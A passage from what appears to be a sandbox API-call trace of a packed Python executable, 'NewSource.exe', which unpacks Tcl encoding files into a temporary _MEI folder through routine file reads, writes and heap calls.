lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.246] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.246] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.247] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.247] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.247] CloseHandle (hObject=0x10c) returned 1 [0036.247] GetLastError () returned 0x0 [0036.247] SetLastError (dwErrCode=0x0) [0036.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.247] GetFileType (hFile=0x10c) returned 0x1 [0036.247] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.247] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.247] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.247] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.247] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.247] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.247] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.247] CloseHandle (hObject=0x10c) returned 1 [0036.247] GetLastError () returned 0x0 [0036.247] SetLastError (dwErrCode=0x0) [0036.247] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc") returned 69 [0036.247] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-jp.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.248] GetLastError () returned 0x2 [0036.248] SetLastError (dwErrCode=0x2) [0036.248] GetLastError () returned 0x2 [0036.248] SetLastError (dwErrCode=0x2) [0036.248] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc", lpFilePart=0x0) returned 0x44 [0036.248] GetLastError () returned 0x2 [0036.248] SetLastError (dwErrCode=0x2) [0036.248] GetLastError () returned 0x2 [0036.248] SetLastError (dwErrCode=0x2) [0036.248] GetLastError () returned 0x2 [0036.248] SetLastError (dwErrCode=0x2) [0036.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc") returned 69 [0036.248] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-jp.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-jp.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.248] GetFileType (hFile=0x10c) returned 0x1 [0036.248] htonl (hostlong=0x69420100) returned 0x14269 [0036.248] WriteFile (in: hFile=0x10c, lpBuffer=0x564498*, nNumberOfBytesToWrite=0x14000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564498*, lpNumberOfBytesWritten=0x4fcd00*=0x14000, lpOverlapped=0x0) returned 1 [0036.255] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.255] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x269, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x269, lpOverlapped=0x0) returned 1 [0036.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.255] CloseHandle (hObject=0x10c) returned 1 [0036.259] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564498 | out: hHeap=0x530000) returned 1 [0036.259] htonl (hostlong=0x30000000) returned 0x30 [0036.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.260] GetFileType (hFile=0x10c) returned 0x1 [0036.260] htonl (hostlong=0x78375400) returned 0x543778 [0036.260] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x58e778, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.260] htonl (hostlong=0xf54f0000) returned 0x4ff5 [0036.260] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4ff5) returned 0x560088 [0036.260] htonl (hostlong=0xf54f0000) returned 0x4ff5 [0036.260] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.260] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.260] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.260] htonl (hostlong=0xde6e0100) returned 0x16ede [0036.260] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16ede) returned 0x565088 [0036.260] htonl (hostlong=0xf54f0000) returned 0x4ff5 [0036.260] htonl (hostlong=0xde6e0100) returned 0x16ede [0036.260] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x57bf70 [0036.261] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57bf70 | out: hHeap=0x530000) returned 1 [0036.261] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.262] CloseHandle (hObject=0x10c) returned 1 [0036.262] GetLastError () returned 0x0 [0036.262] SetLastError (dwErrCode=0x0) [0036.262] GetLastError () returned 0x0 [0036.262] SetLastError (dwErrCode=0x0) [0036.262] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.262] GetFileType (hFile=0x10c) returned 0x1 [0036.262] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.262] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.262] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.262] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.262] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.262] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.262] CloseHandle (hObject=0x10c) returned 1 [0036.262] GetLastError () returned 0x0 [0036.262] SetLastError (dwErrCode=0x0) [0036.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.263] GetFileType (hFile=0x10c) returned 0x1 [0036.263] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.263] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.263] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.263] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.263] CloseHandle (hObject=0x10c) returned 1 [0036.263] GetLastError () returned 0x0 [0036.263] SetLastError (dwErrCode=0x0) [0036.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc") returned 69 [0036.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-kr.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.263] GetLastError () returned 0x2 [0036.263] SetLastError (dwErrCode=0x2) [0036.263] GetLastError () returned 0x2 [0036.263] SetLastError (dwErrCode=0x2) [0036.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc", lpFilePart=0x0) returned 0x44 [0036.263] GetLastError () returned 0x2 [0036.263] SetLastError (dwErrCode=0x2) [0036.263] GetLastError () returned 0x2 [0036.263] SetLastError (dwErrCode=0x2) [0036.264] GetLastError () returned 0x2 [0036.264] SetLastError (dwErrCode=0x2) [0036.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc") returned 69 [0036.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\euc-kr.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\euc-kr.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.264] GetFileType (hFile=0x10c) returned 0x1 [0036.264] htonl (hostlong=0xde6e0100) returned 0x16ede [0036.264] WriteFile (in: hFile=0x10c, lpBuffer=0x565088*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x565088*, lpNumberOfBytesWritten=0x4fcd00*=0x16000, lpOverlapped=0x0) returned 1 [0036.422] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.422] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xede, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xede, lpOverlapped=0x0) returned 1 [0036.422] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.422] CloseHandle (hObject=0x10c) returned 1 [0036.425] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565088 | out: hHeap=0x530000) returned 1 [0036.425] htonl (hostlong=0x30000000) returned 0x30 [0036.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.425] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.426] GetFileType (hFile=0x10c) returned 0x1 [0036.426] htonl (hostlong=0x6d875400) returned 0x54876d [0036.426] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x59376d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.426] htonl (hostlong=0xb7480000) returned 0x48b7 [0036.426] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x48b7) returned 0x560088 [0036.426] htonl (hostlong=0xb7480000) returned 0x48b7 [0036.426] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.427] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.427] htonl (hostlong=0x5b520100) returned 0x1525b [0036.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1525b) returned 0x564948 [0036.427] htonl (hostlong=0xb7480000) returned 0x48b7 [0036.427] htonl (hostlong=0x5b520100) returned 0x1525b [0036.427] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x579bb0 [0036.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x579bb0 | out: hHeap=0x530000) returned 1 [0036.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.427] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.427] CloseHandle (hObject=0x10c) returned 1 [0036.427] GetLastError () returned 0x0 [0036.427] SetLastError (dwErrCode=0x0) [0036.428] GetLastError () returned 0x0 [0036.428] SetLastError (dwErrCode=0x0) [0036.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.428] GetFileType (hFile=0x10c) returned 0x1 [0036.428] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.428] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.428] CloseHandle (hObject=0x10c) returned 1 [0036.428] GetLastError () returned 0x0 [0036.428] SetLastError (dwErrCode=0x0) [0036.428] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.428] GetFileType (hFile=0x10c) returned 0x1 [0036.428] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.428] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.428] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.429] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.429] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.429] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.429] CloseHandle (hObject=0x10c) returned 1 [0036.429] GetLastError () returned 0x0 [0036.429] SetLastError (dwErrCode=0x0) [0036.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc") returned 70 [0036.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\gb12345.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.429] GetLastError () returned 0x2 [0036.429] SetLastError (dwErrCode=0x2) [0036.429] GetLastError () returned 0x2 [0036.429] SetLastError (dwErrCode=0x2) [0036.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\gb12345.enc", lpFilePart=0x0) returned 0x45 [0036.429] GetLastError () returned 0x2 [0036.429] SetLastError (dwErrCode=0x2) [0036.429] GetLastError () returned 0x2 [0036.429] SetLastError (dwErrCode=0x2) [0036.429] GetLastError () returned 0x2 [0036.429] SetLastError (dwErrCode=0x2) [0036.429] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: 